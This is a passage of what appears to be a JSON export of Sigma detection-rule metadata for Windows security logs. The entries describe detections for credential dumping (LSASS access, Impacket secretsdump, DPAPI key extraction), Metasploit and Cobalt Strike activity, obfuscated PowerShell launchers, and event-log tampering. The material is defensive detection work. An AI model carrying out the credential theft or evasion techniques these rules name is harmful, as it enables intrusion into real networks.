\"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications -- however it is recommended to perform these modifications in Active Directory anyways.\n", - "meta": { - "author": "@neu5ron", - "creation_date": "2017/11/19", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_disable_event_logging.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml", - "https://bit.ly/WinLogsZero2Hero" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "69aeb277-f15f-4d2d-b32a-55e883609563", - "value": "Disabling Windows Event Auditing" - }, - { - "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/06/20", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_dpapi_domain_backupkey_extraction.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.004" - ] - }, - "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e", - "value": "DPAPI Domain Backup Key Extraction" - }, - { - "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/10", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_dpapi_domain_masterkey_backup_attempt.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml", - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.004" - ] - }, - "uuid": "39a94fd1-8c9a-4ff6-bf22-c058762f8014", - "value": "DPAPI Domain Master Key Backup Attempt" - }, - { - "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/05", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_etw_modification.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://bunnyinside.com/?term=f71e8cb9c76a", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://twitter.com/_xpn_/status/1268712093928378368", - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_etw_modification.yml", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "a4c90ea1-2634-4ca0-adbb-35eae169b6fc", - "value": "COMPlus_ETWEnabled Registry Modification" - }, - { - "description": "Checks for event id 1102 which indicates the security event log was cleared.", - "meta": { - "author": "Saw Winn Naung", - "creation_date": "2021/08/15", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "win_security_event_log_cleared.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml", - "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml" - ], - "tags": [ - "attack.t1070.001" - ] - }, - "uuid": "a122ac13-daf8-4175-83a2-72c387be339d", - "value": "Security Event Log Cleared" - }, - { - "description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", - "meta": { - "author": "INIT_6", - "creation_date": "2021/07/02", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_exploit_cve_2021_1675_printspooler_security.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/INIT_3/status/1410662463641731075", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2021_1675_printspooler_security.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675", - "cve.2021.34527" - ] - }, - "uuid": "8fe1c584-ee61-444b-be21-e9054b229694", - "value": "CVE-2021-1675 Print Spooler Exploitation IPC Access" - }, - { - "description": "Detects external diskdrives or plugged in USB devices , EventID 6416 on windows 10 or later", - "meta": { - "author": "Keith Wright", - "creation_date": "2019/11/20", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "win_security_external_device.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml" - ], - "tags": [ - "attack.t1091", - "attack.t1200", - "attack.lateral_movement", - "attack.initial_access" - ] - }, - "uuid": "f69a87ea-955e-4fb4-adb2-bb9fd6685632", - "value": "External Disk Drive Or USB Storage Device" - }, - { - "description": "Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.", - "meta": { - "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", - "creation_date": "2020/05/11", - "falsepositive": [ - "Exclude known DCs." - ], - "filename": "win_security_global_catalog_enumeration.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_global_catalog_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ] - }, - "uuid": "619b020f-0fd7-4f23-87db-3f51ef837a34", - "value": "Enumeration via the Global Catalog" - }, - { - "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/04/03", - "falsepositive": [ - "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks" - ], - "filename": "win_security_gpo_scheduledtasks.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml", - "https://twitter.com/menasec1/status/1106899890377052160", - "https://www.secureworks.com/blog/ransomware-as-a-distraction" - ], - "tags": [ - "attack.persistence", - "attack.lateral_movement", - "attack.t1053.005" - ] - }, - "uuid": "a8f29a7b-b137-4446-80a0-b804272f3da2", - "value": "Persistence and Execution at Scale via GPO Scheduled Task" - }, - { - "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/05/03", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_hidden_user_creation.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1387743867663958021", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ] - }, - "uuid": "7b449a5e-1db5-4dd0-a2dc-4e3a67282538", - "value": "Hidden Local User Creation" - }, - { - "description": "Rule to detect the Hybrid Connection Manager service installation.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", - "falsepositive": [ - "Legitimate use of Hybrid Connection Manager via Azure function apps." - ], - "filename": "win_security_hybridconnectionmgr_svc_installation.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hybridconnectionmgr_svc_installation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1554" - ] - }, - "uuid": "0ee4d8a5-4e67-4faf-acfa-62a78457d1f2", - "value": "HybridConnectionManager Service Installation" - }, - { - "description": "Detects execution of Impacket's psexec.py.", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2020/12/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_impacket_psexec.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b", - "value": "Impacket PsExec Execution" - }, - { - "description": "Detect AD credential dumping using impacket secretdump HKTL", - "meta": { - "author": "Samir Bousseaden, wagga", - "creation_date": "2019/04/03", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_impacket_secretdump.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml", - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.003" - ] - }, - "uuid": "252902e3-5830-4cf6-bf21-c22083dfd5cf", - "value": "Possible Impacket SecretDump Remote Activity" - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_clip_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "4edf51e1-cb83-4e1a-bc39-800e396068e3", - "value": "Invoke-Obfuscation CLIP+ Launcher" - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", - "meta": { - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation" - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_stdin_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974", - "value": "Invoke-Obfuscation STDIN+ Launcher" - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_var_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "dcf2db1f-f091-425b-a821-c05875b8925a", - "value": "Invoke-Obfuscation VAR+ Launcher" - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_via_compress_services_security.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "7a922f1b-2635-4d6c-91ef-af228b198ad3", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_via_rundll_services_security.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f241cf1b-3a6b-4e1a-b4f9-133c00dd95ca", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER" - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_via_stdin_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "80b708f3-d034-40e4-a6c8-d23b7a7db3d1", - "value": "Invoke-Obfuscation Via Stdin" - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_via_use_clip_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "1a0a2ff1-611b-4dac-8216-8a7b47c618a6", - "value": "Invoke-Obfuscation Via Use Clip" - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_via_use_mshta_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a", - "value": "Invoke-Obfuscation Via Use MSHTA" - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "cd0f7229-d16f-42de-8fe3-fba365fbcb3a", - "value": "Invoke-Obfuscation Via Use Rundll32" - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_invoke_obfuscation_via_var_services_security.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "4c54ba8f-73d2-4d40-8890-d9cf1dca3d30", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" - }, - { - "description": "Detects the mount of ISO images on an endpoint", - "meta": { - "author": "Syed Hasan (@syedhasan009)", - "creation_date": "2021/05/29", - "falsepositive": [ - "Software installation ISO files" - ], - "filename": "win_security_iso_mount.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml", - "https://twitter.com/MsftSecIntel/status/1257324139515269121" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "0248a7bc-8a9a-4cd8-a57e-3ae8e073a073", - "value": "ISO Image Mount" - }, - { - "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/04/03", - "falsepositive": [ - "Update the excluded named pipe to filter out any newly observed legit named pipe" - ], - "filename": "win_security_lm_namedpipe.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/menasec1/status/1104489274387451904", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "52d8b0c6-53d6-439a-9e41-52ad442ad9ad", - "value": "First Time Seen Remote Named Pipe" - }, - { - "description": "The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.", - "meta": { - "author": "Arun Chauhan", - "creation_date": "2021/10/04", - "falsepositive": [ - "Red team activity", - "Rare legitimate use by an administrator" - ], - "filename": "win_security_lolbas_execution_of_nltest.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml", - "https://attack.mitre.org/software/S0359/", - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm" - ], - "tags": [ - "attack.discovery", - "attack.t1482", - "attack.t1018", - "attack.t1016" - ] - }, - "uuid": "eeb66bbb-3dde-4582-815a-584aee9fe6d1", - "value": "Correct Execution of Nltest.exe" - }, - { - "description": "Detects potential mimikatz-like tools accessing LSASS from non system account", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/06/20", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_lsass_access_non_system_account.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml", - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "962fe167-e48d-4fd6-9974-11e5b9a5d6d1", - "value": "LSASS Access from Non System Account" - }, - { - "description": "Detects well-known credential dumping tools execution via service execution events", - "meta": { - "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2017/03/05", - "falsepositive": [ - "Legitimate Administrator using credential dumping tool for password recovery" - ], - "filename": "win_security_mal_creddumper.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006", - "attack.t1569.002", - "attack.s0005" - ] - }, - "uuid": "f0d1feba-4344-4ca9-8121-a6c97bd6df52", - "value": "Credential Dumping Tools Service Execution" - }, - { - "description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.", - "meta": { - "author": "Florian Roth, Daniil Yugoslavskiy, oscd.community (update)", - "creation_date": "2017/03/27", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_mal_service_installs.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml", - "https://awakesecurity.com/blog/threat-hunting-for-paexec/", - "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", - "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1003", - "car.2013-09-005", - "attack.t1543.003", - "attack.t1569.002" - ] - }, - "uuid": "cb062102-587e-4414-8efa-dbe3c7bf19c6", - "value": "Malicious Service Installations" - }, - { - "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/06/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_mal_wceaux_dll.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml", - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.s0005" - ] - }, - "uuid": "1de68c67-af5c-4097-9c85-fe5578e09e67", - "value": "WCE wceaux.dll Access" - }, - { - "description": "Alerts on Metasploit host's authentications on the domain.", - "meta": { - "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", - "creation_date": "2020/05/06", - "falsepositive": [ - "Linux hostnames composed of 16 characters." - ], - "filename": "win_security_metasploit_authentication.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml", - "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "72124974-a68b-4366-b990-d30e0b2a190d", - "value": "Metasploit SMB Authentication" - }, - { - "description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", - "meta": { - "author": "Bartlomiej Czyz, Relativity", - "creation_date": "2021/01/21", - "falsepositive": [ - "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name" - ], - "filename": "win_security_metasploit_or_impacket_smb_psexec_service_install.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml", - "https://bczyz1.github.io/2021/01/30/psexec.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1570", - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "6fb63b40-e02a-403e-9ffd-3bcc1d749442", - "value": "Metasploit Or Impacket Service Installation Via SMB PsExec" - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", - "meta": { - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "creation_date": "2019/10/26", - "falsepositive": [ - "Highly unlikely" - ], - "filename": "win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ] - }, - "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34", - "value": "Meterpreter or Cobalt Strike Getsystem Service Installation" - }, - { - "description": "Detects NetNTLM downgrade attack", - "meta": { - "author": "Florian Roth, wagga", - "creation_date": "2018/03/20", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_net_ntlm_downgrade.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml", - "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1112" - ] - }, - "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed", - "value": "NetNTLM Downgrade Attack" - }, - { - "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", - "meta": { - "author": "Tim Shelton (HAWK.IO)", - "creation_date": "2021/12/06", - "falsepositive": [ - "Read only access list authority" - ], - "filename": "win_security_net_share_obj_susp_desktop_ini.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ] - }, - "uuid": "35bc7e28-ee6b-492f-ab04-da58fcf6402e", - "value": "Windows Network Access Suspicious desktop.ini Action" - }, - { - "description": "Detects possible bypass EDR and SIEM via abnormal user account name.", - "meta": { - "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_new_or_renamed_user_account_with_dollar_sign.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "cfeed607-6aa4-4bbd-9627-b637deb723c8", - "value": "New or Renamed User Account with '$' in Attribute 'SamAccountName'" - }, - { - "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", - "meta": { 